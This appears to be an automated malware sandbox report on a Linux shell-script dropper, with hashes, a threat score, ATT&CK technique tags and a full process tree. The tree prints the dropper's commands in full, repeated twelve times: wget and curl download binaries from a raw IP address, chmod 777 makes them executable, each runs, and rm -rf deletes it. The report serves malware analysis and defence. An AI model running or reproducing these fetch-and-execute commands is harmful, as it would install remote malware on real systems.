1658051c524937f8beaa98cf72053f25690608894ed13029299f881d8e230cfb

Analysis

max time kernel
5s
max time network
129s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
24/08/2026, 15:00

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
1658051c524937f8beaa98cf72053f25690608894ed13029299f881d8e230cfb.sh
Size 1KB
Sample260824-sdj8rsvyev
SHA256 1658051c524937f8beaa98cf72053f25690608894ed13029299f881d8e230cfb
MD5 20cda16f2bd2eb346e5071a15847f621
SHA1 edc6788d681d16f495c9b23c6a2e8ea5a86dac06
SHA512 4aec7ab9a6d42ce51d4cb61a3719fe23f1ddb3344a43899e0f3c0fd02189b6bdc3d39b643851f2f7d40050a0891aaf3f1a07a4784281efd8a6c599a7910181fb
TLSH
T1F031A4DA10101A716112CE4EB3623548B68D99E7299FDBD0CD990EE842CA7CCF662B1D
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 12 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1508	chmod
1529	chmod
1543	chmod
1564	chmod
1578	chmod
1500	chmod
1515	chmod
1522	chmod
1536	chmod
1550	chmod
1557	chmod
1571	chmod

Executes dropped EXE 12 IoCs

ioc	pid	Process
/tmp/90a315	1501	1658051c524937f8beaa98cf72053f25690608894ed13029299f881d8e230cfb.sh
/tmp/a1cc4a	1509	1658051c524937f8beaa98cf72053f25690608894ed13029299f881d8e230cfb.sh
/tmp/ae7672	1516	1658051c524937f8beaa98cf72053f25690608894ed13029299f881d8e230cfb.sh
/tmp/d7249a	1523	1658051c524937f8beaa98cf72053f25690608894ed13029299f881d8e230cfb.sh
/tmp/ba4dfa	1530	1658051c524937f8beaa98cf72053f25690608894ed13029299f881d8e230cfb.sh
/tmp/1e61a5	1537	1658051c524937f8beaa98cf72053f25690608894ed13029299f881d8e230cfb.sh
/tmp/74bd68	1544	1658051c524937f8beaa98cf72053f25690608894ed13029299f881d8e230cfb.sh
/tmp/478fb8	1551	1658051c524937f8beaa98cf72053f25690608894ed13029299f881d8e230cfb.sh
/tmp/2e1826	1558	1658051c524937f8beaa98cf72053f25690608894ed13029299f881d8e230cfb.sh
/tmp/6bf667	1565	1658051c524937f8beaa98cf72053f25690608894ed13029299f881d8e230cfb.sh
/tmp/6b3d9e	1572	1658051c524937f8beaa98cf72053f25690608894ed13029299f881d8e230cfb.sh
/tmp/703fd9	1579	1658051c524937f8beaa98cf72053f25690608894ed13029299f881d8e230cfb.sh

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/478fb8	curl
File opened for modification	/tmp/6bf667	curl
File opened for modification	/tmp/6b3d9e	curl
File opened for modification	/tmp/90a315	curl
File opened for modification	/tmp/a1cc4a	curl
File opened for modification	/tmp/d7249a	curl
File opened for modification	/tmp/1e61a5	curl
File opened for modification	/tmp/2e1826	curl
File opened for modification	/tmp/703fd9	curl
File opened for modification	/tmp/ae7672	curl
File opened for modification	/tmp/ba4dfa	curl
File opened for modification	/tmp/74bd68	curl

/tmp/1658051c524937f8beaa98cf72053f25690608894ed13029299f881d8e230cfb.sh
/tmp/1658051c524937f8beaa98cf72053f25690608894ed13029299f881d8e230cfb.sh
1⤵
- Executes dropped EXE
PID:1490
- /usr/bin/wget
  wget http://5.182.210.174/90a315
  2⤵
  PID:1491
- /usr/bin/curl
  curl -O http://5.182.210.174/90a315
  2⤵
  - Writes file to tmp directory
  PID:1499
- /bin/chmod
  chmod 777 90a315
  2⤵
  - File and Directory Permissions Modification
  PID:1500
- /tmp/90a315
  ./90a315 bc
  2⤵
  PID:1501
- /bin/rm
  rm -rf 90a315
  2⤵
  PID:1504
- /bin/rm
  rm -rf 90a315.1
  2⤵
  PID:1505
- /usr/bin/wget
  wget http://5.182.210.174/a1cc4a
  2⤵
  PID:1506
- /usr/bin/curl
  curl -O http://5.182.210.174/a1cc4a
  2⤵
  - Writes file to tmp directory
  PID:1507
- /bin/chmod
  chmod 777 a1cc4a
  2⤵
  - File and Directory Permissions Modification
  PID:1508
- /tmp/a1cc4a
  ./a1cc4a bc
  2⤵
  PID:1509
- /bin/rm
  rm -rf a1cc4a
  2⤵
  PID:1511
- /bin/rm
  rm -rf a1cc4a.1
  2⤵
  PID:1512
- /usr/bin/wget
  wget http://5.182.210.174/ae7672
  2⤵
  PID:1513
- /usr/bin/curl
  curl -O http://5.182.210.174/ae7672
  2⤵
  - Writes file to tmp directory
  PID:1514
- /bin/chmod
  chmod 777 ae7672
  2⤵
  - File and Directory Permissions Modification
  PID:1515
- /tmp/ae7672
  ./ae7672 bc
  2⤵
  PID:1516
- /bin/rm
  rm -rf ae7672
  2⤵
  PID:1518
- /bin/rm
  rm -rf ae7672.1
  2⤵
  PID:1519
- /usr/bin/wget
  wget http://5.182.210.174/d7249a
  2⤵
  PID:1520
- /usr/bin/curl
  curl -O http://5.182.210.174/d7249a
  2⤵
  - Writes file to tmp directory
  PID:1521
- /bin/chmod
  chmod 777 d7249a
  2⤵
  - File and Directory Permissions Modification
  PID:1522
- /tmp/d7249a
  ./d7249a bc
  2⤵
  PID:1523
- /bin/rm
  rm -rf d7249a
  2⤵
  PID:1525
- /bin/rm
  rm -rf d7249a.1
  2⤵
  PID:1526
- /usr/bin/wget
  wget http://5.182.210.174/ba4dfa
  2⤵
  PID:1527
- /usr/bin/curl
  curl -O http://5.182.210.174/ba4dfa
  2⤵
  - Writes file to tmp directory
  PID:1528
- /bin/chmod
  chmod 777 ba4dfa
  2⤵
  - File and Directory Permissions Modification
  PID:1529
- /tmp/ba4dfa
  ./ba4dfa bc
  2⤵
  PID:1530
- /bin/rm
  rm -rf ba4dfa
  2⤵
  PID:1532
- /bin/rm
  rm -rf ba4dfa.1
  2⤵
  PID:1533
- /usr/bin/wget
  wget http://5.182.210.174/1e61a5
  2⤵
  PID:1534
- /usr/bin/curl
  curl -O http://5.182.210.174/1e61a5
  2⤵
  - Writes file to tmp directory
  PID:1535
- /bin/chmod
  chmod 777 1e61a5
  2⤵
  - File and Directory Permissions Modification
  PID:1536
- /tmp/1e61a5
  ./1e61a5 bc
  2⤵
  PID:1537
- /bin/rm
  rm -rf 1e61a5
  2⤵
  PID:1539
- /bin/rm
  rm -rf 1e61a5.1
  2⤵
  PID:1540
- /usr/bin/wget
  wget http://5.182.210.174/74bd68
  2⤵
  PID:1541
- /usr/bin/curl
  curl -O http://5.182.210.174/74bd68
  2⤵
  - Writes file to tmp directory
  PID:1542
- /bin/chmod
  chmod 777 74bd68
  2⤵
  - File and Directory Permissions Modification
  PID:1543
- /tmp/74bd68
  ./74bd68 bc
  2⤵
  PID:1544
- /bin/rm
  rm -rf 74bd68
  2⤵
  PID:1546
- /bin/rm
  rm -rf 74bd68.1
  2⤵
  PID:1547
- /usr/bin/wget
  wget http://5.182.210.174/478fb8
  2⤵
  PID:1548
- /usr/bin/curl
  curl -O http://5.182.210.174/478fb8
  2⤵
  - Writes file to tmp directory
  PID:1549
- /bin/chmod
  chmod 777 478fb8
  2⤵
  - File and Directory Permissions Modification
  PID:1550
- /tmp/478fb8
  ./478fb8 bc
  2⤵
  PID:1551
- /bin/rm
  rm -rf 478fb8
  2⤵
  PID:1553
- /bin/rm
  rm -rf 478fb8.1
  2⤵
  PID:1554
- /usr/bin/wget
  wget http://5.182.210.174/2e1826
  2⤵
  PID:1555
- /usr/bin/curl
  curl -O http://5.182.210.174/2e1826
  2⤵
  - Writes file to tmp directory
  PID:1556
- /bin/chmod
  chmod 777 2e1826
  2⤵
  - File and Directory Permissions Modification
  PID:1557
- /tmp/2e1826
  ./2e1826 bc
  2⤵
  PID:1558
- /bin/rm
  rm -rf 2e1826
  2⤵
  PID:1560
- /bin/rm
  rm -rf 2e1826.1
  2⤵
  PID:1561
- /usr/bin/wget
  wget http://5.182.210.174/6bf667
  2⤵
  PID:1562
- /usr/bin/curl
  curl -O http://5.182.210.174/6bf667
  2⤵
  - Writes file to tmp directory
  PID:1563
- /bin/chmod
  chmod 777 6bf667
  2⤵
  - File and Directory Permissions Modification
  PID:1564
- /tmp/6bf667
  ./6bf667 bc
  2⤵
  PID:1565
- /bin/rm
  rm -rf 6bf667
  2⤵
  PID:1567
- /bin/rm
  rm -rf 6bf667.1
  2⤵
  PID:1568
- /usr/bin/wget
  wget http://5.182.210.174/6b3d9e
  2⤵
  PID:1569
- /usr/bin/curl
  curl -O http://5.182.210.174/6b3d9e
  2⤵
  - Writes file to tmp directory
  PID:1570
- /bin/chmod
  chmod 777 6b3d9e
  2⤵
  - File and Directory Permissions Modification
  PID:1571
- /tmp/6b3d9e
  ./6b3d9e bc
  2⤵
  PID:1572
- /bin/rm
  rm -rf 6b3d9e
  2⤵
  PID:1574
- /bin/rm
  rm -rf 6b3d9e.1
  2⤵
  PID:1575
- /usr/bin/wget
  wget http://5.182.210.174/703fd9
  2⤵
  PID:1576
- /usr/bin/curl
  curl -O http://5.182.210.174/703fd9
  2⤵
  - Writes file to tmp directory
  PID:1577
- /bin/chmod
  chmod 777 703fd9
  2⤵
  - File and Directory Permissions Modification
  PID:1578
- /tmp/703fd9
  ./703fd9 bc
  2⤵
  PID:1579
- /bin/rm
  rm -rf 703fd9
  2⤵
  PID:1581
- /bin/rm
  rm -rf 703fd9.1
  2⤵
  PID:1582

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

90a315

Path /tmp/90a315
Size 19B
SHA256 b16e15764b8bc06c5c3f9f19bc8b99fa48e7894aa5a6ccdad65da49bbf564793
MD5 595e88012a6521aae3e12cbebe76eb9e
SHA1 da3968197e7bf67aa45a77515b52ba2710c5fc34
SHA512 fd13c580d15cc5e8b87d97ead633209930e00e85c113c776088e246b47f140efe99bdf6ab02070677445db65410f7e62ec23c71182f9f78e9d0e1b9f7fda0dc3
MD5 SHA1 SHA512

Submit Download